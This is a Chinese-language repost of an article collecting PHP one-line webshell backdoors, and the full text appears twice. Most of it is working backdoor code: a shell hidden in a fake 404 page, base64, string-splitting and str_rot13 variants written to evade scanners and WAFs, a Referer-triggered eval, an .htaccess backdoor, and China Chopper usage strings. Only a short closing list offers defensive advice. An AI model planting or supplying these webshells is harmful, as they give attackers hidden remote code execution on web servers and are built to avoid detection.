web后門 那些強悍猥瑣流的PHP一句話后門大全分享
發(fā)布日期:2022-01-28 17:49 | 文章來源:腳本之家
強悍的PHP一句話后門
這類后門讓網(wǎng)站、服務(wù)器管理員很是頭疼,經(jīng)常要換著方法進行各種檢測,而很多新出現(xiàn)的編寫技術(shù),用普通的檢測方法是沒法發(fā)現(xiàn)并處理的。今天我們細數(shù)一些有意思的PHP一句話木馬。
利用404頁面隱藏PHP小馬:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
404頁面是網(wǎng)站常用的文件,一般建議好后很少有人會去對它進行檢查修改,這時我們可以利用這一點進行隱藏后門。
無特征隱藏PHP一句話:
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
將$_POST['code']的內(nèi)容賦值給$_SESSION['theCode'],然后執(zhí)行$_SESSION['theCode'],亮點是沒有特征碼。用掃描工具來檢查代碼的話,是不會報警的,達到目的了。
超級隱蔽的PHP后門:
<?php $_GET[a]($_GET[b]);?>
僅用GET函數(shù)就構(gòu)成了木馬;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
執(zhí)行后當前目錄生成c.php一句話木馬,當傳參a為eval時會報錯木馬生成失敗,為assert時同樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應(yīng)用。
層級請求,編碼運行PHP后門:
此方法用兩個文件實現(xiàn),文件1
<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
文件2
<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要執(zhí)行的代碼
$code = <<<CODE
phpinfo();
CODE;
//進行base64編碼
$code = base64_encode($code);
//構(gòu)造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后門url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
通過HTTP請求中的HTTP_REFERER來運行經(jīng)過base64編碼的代碼,來達到后門的效果,一般waf對referer這些檢測要松一點,或者沒有檢測。用這個思路bypass waf不錯。
PHP后門生成工具weevely
weevely是一款針對PHP的webshell的自由軟件,可用于模擬一個類似于telnet的連接shell,weevely通常用于web程序的漏洞利用,隱藏后門或者使用類似telnet的方式來代替web 頁面式的管理,weevely生成的服務(wù)器端php代碼是經(jīng)過了base64編碼的,所以可以騙過主流的殺毒軟件和IDS,上傳服務(wù)器端代碼后通??梢酝ㄟ^weevely直接運行。
weevely所生成的PHP后門所使用的方法是現(xiàn)在比較主流的base64加密結(jié)合字符串變形技術(shù),后門中所使用的函數(shù)均是常用的字符串處理函數(shù),被作為檢查規(guī)則的eval,system等函數(shù)都不會直接出現(xiàn)在代碼中,從而可以致使后門文件繞過后門查找工具的檢查。使用暗組的Web后門查殺工具進行掃描,結(jié)果顯示該文件無任何威脅。
以上是大概介紹下邊是截圖,相關(guān)使用方法亦家就不在這介紹了,簡單的科普一下。

三個變形的一句話PHP木馬
第一個
在菜刀里寫http://site/1.php?2=assert密碼是1
第二個
<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀里寫http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass。
如果你用菜刀的附加數(shù)據(jù)的話更隱蔽,或者用其它注射工具也可以,因為是post提交的。
第三個
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即編碼后的eval,完全避開了關(guān)鍵字,又不失效果,讓人吐血!
.htaccess做PHP后門
這個其實在2007年的時候作者GaRY就爆出了,只是后邊沒人關(guān)注,這個利用關(guān)鍵點在于一句話:
AddType application/x-httpd-php .htaccess
###### SHELL ###### 這里寫上你的后門吧###### LLEHS ######
toby57解析加密一句話木馬
此段后門使用方法會與其它方法不太一樣,具體看下面
Client:
<?php
if(crypt($_SERVER['HTTP_H0ST'],51)=='514zR17F8j0q6'){@file_put_contents($_SERVER['HTTP_X'],$_SERVER['HTTP_Y']);
header("Location: ./".$_SERVER['HTTP_X']);};
?>
Server:
<?php
$fp = fsockopen("127.0.0.1",80,$errno,$errstr,5);
if (!$fp){
echo('fp fail');
}
$out = "GET /php_muma/client.php HTTP/1.1\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "User-Agent: MSIE\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "H0ST: qiushui51a\r\n";
$out .= "X: ../shell.php \r\n";
$out .= "Y: <?php eval(\$_POST1);?>\r\n";
$out .= "Connection: close\r\n\r\n";
fwrite($fp,$out);
while(!feof($fp)){
$resp_str="";
$resp_str .= fgets($fp,512);//返回值放入$resp_str
}
fclose($fp);
echo($resp_str);//處理返回值.
?>
對服務(wù)端與客戶端指令對比,如一致則執(zhí)行后門指令。
最后列幾個高級的PHP一句話木馬后門
1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句話
2、
$filename=$_GET['xbid'];
include ($filename);
//危險的include函數(shù),直接編譯任何文件為php格式運行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句話
5、include ($uid);
//危險的include函數(shù),直接編譯任何文件為php格式運行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句話
6、典型一句話
程序后門代碼
<?php eval_r($_POST[sb])?>
程序代碼
<?php @eval_r($_POST[sb])?>
//容錯代碼
程序代碼
<?php assert($_POST[sb]);?>
//使用lanker一句話客戶端的專家模式執(zhí)行相關(guān)的php語句
程序代碼
<?$_POST['sa']($_POST['sb']);?>
程序代碼
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代碼
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入
程序代碼
<O>h=@eval_r($_POST1);</O>
程序代碼
<script language="php">@eval_r($_POST[sb])</script>
//繞過<?限制的一句話
綜上,這些PHP一句話后門可謂五臟俱全,一不小心您肯定中招了,而我們今天這篇文章的重中之重在哪呢?重點就在下邊的總結(jié)!
如何應(yīng)對PHP一句話后門
我們強調(diào)幾個關(guān)鍵點,看這文章的你相信不是門外漢,我也就不啰嗦了:
■對PHP程序編寫要有安全意識
■服務(wù)器日志文件要經(jīng)???,經(jīng)常備份
■對每個站點進行嚴格的權(quán)限分配
■對動態(tài)文件及目錄經(jīng)常批量安全審查
■學會如何進行手工殺毒《即行為判斷查殺》
■時刻關(guān)注,或滲入活躍的網(wǎng)絡(luò)安全營地
■對服務(wù)器環(huán)境層級化處理,哪怕一個函數(shù)也可做規(guī)則
亦家網(wǎng)絡(luò)認為當管理的站點多了,數(shù)據(jù)量大時,我們應(yīng)合理應(yīng)用一些輔助工具,但不應(yīng)完全依賴這些工具,技術(shù)是時刻在更新進步的,最為重要的是你應(yīng)學會和理解,編寫這些強悍后門的人所處思維,角色上的換位可為你帶來更大的進步。
轉(zhuǎn)載必須注明出自亦家網(wǎng)絡(luò)。
原文鏈接:http://www.oooceo.com/security/php-word/
這類后門讓網(wǎng)站、服務(wù)器管理員很是頭疼,經(jīng)常要換著方法進行各種檢測,而很多新出現(xiàn)的編寫技術(shù),用普通的檢測方法是沒法發(fā)現(xiàn)并處理的。今天我們細數(shù)一些有意思的PHP一句話木馬。
利用404頁面隱藏PHP小馬:
復(fù)制代碼
代碼如下:<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
404頁面是網(wǎng)站常用的文件,一般建議好后很少有人會去對它進行檢查修改,這時我們可以利用這一點進行隱藏后門。
無特征隱藏PHP一句話:
復(fù)制代碼
代碼如下:<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
將$_POST['code']的內(nèi)容賦值給$_SESSION['theCode'],然后執(zhí)行$_SESSION['theCode'],亮點是沒有特征碼。用掃描工具來檢查代碼的話,是不會報警的,達到目的了。
超級隱蔽的PHP后門:
復(fù)制代碼
代碼如下:<?php $_GET[a]($_GET[b]);?>
僅用GET函數(shù)就構(gòu)成了木馬;
利用方法:
復(fù)制代碼
代碼如下:?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
執(zhí)行后當前目錄生成c.php一句話木馬,當傳參a為eval時會報錯木馬生成失敗,為assert時同樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應(yīng)用。
層級請求,編碼運行PHP后門:
此方法用兩個文件實現(xiàn),文件1
復(fù)制代碼
代碼如下:<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
文件2
復(fù)制代碼
代碼如下:<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要執(zhí)行的代碼
$code = <<<CODE
phpinfo();
CODE;
//進行base64編碼
$code = base64_encode($code);
//構(gòu)造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后門url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
通過HTTP請求中的HTTP_REFERER來運行經(jīng)過base64編碼的代碼,來達到后門的效果,一般waf對referer這些檢測要松一點,或者沒有檢測。用這個思路bypass waf不錯。
PHP后門生成工具weevely
weevely是一款針對PHP的webshell的自由軟件,可用于模擬一個類似于telnet的連接shell,weevely通常用于web程序的漏洞利用,隱藏后門或者使用類似telnet的方式來代替web 頁面式的管理,weevely生成的服務(wù)器端php代碼是經(jīng)過了base64編碼的,所以可以騙過主流的殺毒軟件和IDS,上傳服務(wù)器端代碼后通??梢酝ㄟ^weevely直接運行。
weevely所生成的PHP后門所使用的方法是現(xiàn)在比較主流的base64加密結(jié)合字符串變形技術(shù),后門中所使用的函數(shù)均是常用的字符串處理函數(shù),被作為檢查規(guī)則的eval,system等函數(shù)都不會直接出現(xiàn)在代碼中,從而可以致使后門文件繞過后門查找工具的檢查。使用暗組的Web后門查殺工具進行掃描,結(jié)果顯示該文件無任何威脅。
以上是大概介紹下邊是截圖,相關(guān)使用方法亦家就不在這介紹了,簡單的科普一下。

三個變形的一句話PHP木馬
第一個
復(fù)制代碼
代碼如下:<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀里寫http://site/1.php?2=assert密碼是1
第二個
復(fù)制代碼
代碼如下:<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀里寫http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass。
如果你用菜刀的附加數(shù)據(jù)的話更隱蔽,或者用其它注射工具也可以,因為是post提交的。
第三個
復(fù)制代碼
代碼如下:($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即編碼后的eval,完全避開了關(guān)鍵字,又不失效果,讓人吐血!
.htaccess做PHP后門
這個其實在2007年的時候作者GaRY就爆出了,只是后邊沒人關(guān)注,這個利用關(guān)鍵點在于一句話:
復(fù)制代碼
代碼如下:AddType application/x-httpd-php .htaccess
###### SHELL ###### 這里寫上你的后門吧###### LLEHS ######
toby57解析加密一句話木馬
此段后門使用方法會與其它方法不太一樣,具體看下面
Client:
復(fù)制代碼
代碼如下:<?php
if(crypt($_SERVER['HTTP_H0ST'],51)=='514zR17F8j0q6'){@file_put_contents($_SERVER['HTTP_X'],$_SERVER['HTTP_Y']);
header("Location: ./".$_SERVER['HTTP_X']);};
?>
Server:
復(fù)制代碼
代碼如下:<?php
$fp = fsockopen("127.0.0.1",80,$errno,$errstr,5);
if (!$fp){
echo('fp fail');
}
$out = "GET /php_muma/client.php HTTP/1.1\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "User-Agent: MSIE\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "H0ST: qiushui51a\r\n";
$out .= "X: ../shell.php \r\n";
$out .= "Y: <?php eval(\$_POST1);?>\r\n";
$out .= "Connection: close\r\n\r\n";
fwrite($fp,$out);
while(!feof($fp)){
$resp_str="";
$resp_str .= fgets($fp,512);//返回值放入$resp_str
}
fclose($fp);
echo($resp_str);//處理返回值.
?>
對服務(wù)端與客戶端指令對比,如一致則執(zhí)行后門指令。
最后列幾個高級的PHP一句話木馬后門
復(fù)制代碼
代碼如下:1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句話
2、
$filename=$_GET['xbid'];
include ($filename);
//危險的include函數(shù),直接編譯任何文件為php格式運行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句話
5、include ($uid);
//危險的include函數(shù),直接編譯任何文件為php格式運行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句話
6、典型一句話
程序后門代碼
<?php eval_r($_POST[sb])?>
程序代碼
<?php @eval_r($_POST[sb])?>
//容錯代碼
程序代碼
<?php assert($_POST[sb]);?>
//使用lanker一句話客戶端的專家模式執(zhí)行相關(guān)的php語句
程序代碼
<?$_POST['sa']($_POST['sb']);?>
程序代碼
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代碼
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入
程序代碼
<O>h=@eval_r($_POST1);</O>
程序代碼
<script language="php">@eval_r($_POST[sb])</script>
//繞過<?限制的一句話
綜上,這些PHP一句話后門可謂五臟俱全,一不小心您肯定中招了,而我們今天這篇文章的重中之重在哪呢?重點就在下邊的總結(jié)!
如何應(yīng)對PHP一句話后門
我們強調(diào)幾個關(guān)鍵點,看這文章的你相信不是門外漢,我也就不啰嗦了:
■對PHP程序編寫要有安全意識
■服務(wù)器日志文件要經(jīng)???,經(jīng)常備份
■對每個站點進行嚴格的權(quán)限分配
■對動態(tài)文件及目錄經(jīng)常批量安全審查
■學會如何進行手工殺毒《即行為判斷查殺》
■時刻關(guān)注,或滲入活躍的網(wǎng)絡(luò)安全營地
■對服務(wù)器環(huán)境層級化處理,哪怕一個函數(shù)也可做規(guī)則
亦家網(wǎng)絡(luò)認為當管理的站點多了,數(shù)據(jù)量大時,我們應(yīng)合理應(yīng)用一些輔助工具,但不應(yīng)完全依賴這些工具,技術(shù)是時刻在更新進步的,最為重要的是你應(yīng)學會和理解,編寫這些強悍后門的人所處思維,角色上的換位可為你帶來更大的進步。
轉(zhuǎn)載必須注明出自亦家網(wǎng)絡(luò)。
原文鏈接:http://www.oooceo.com/security/php-word/
版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章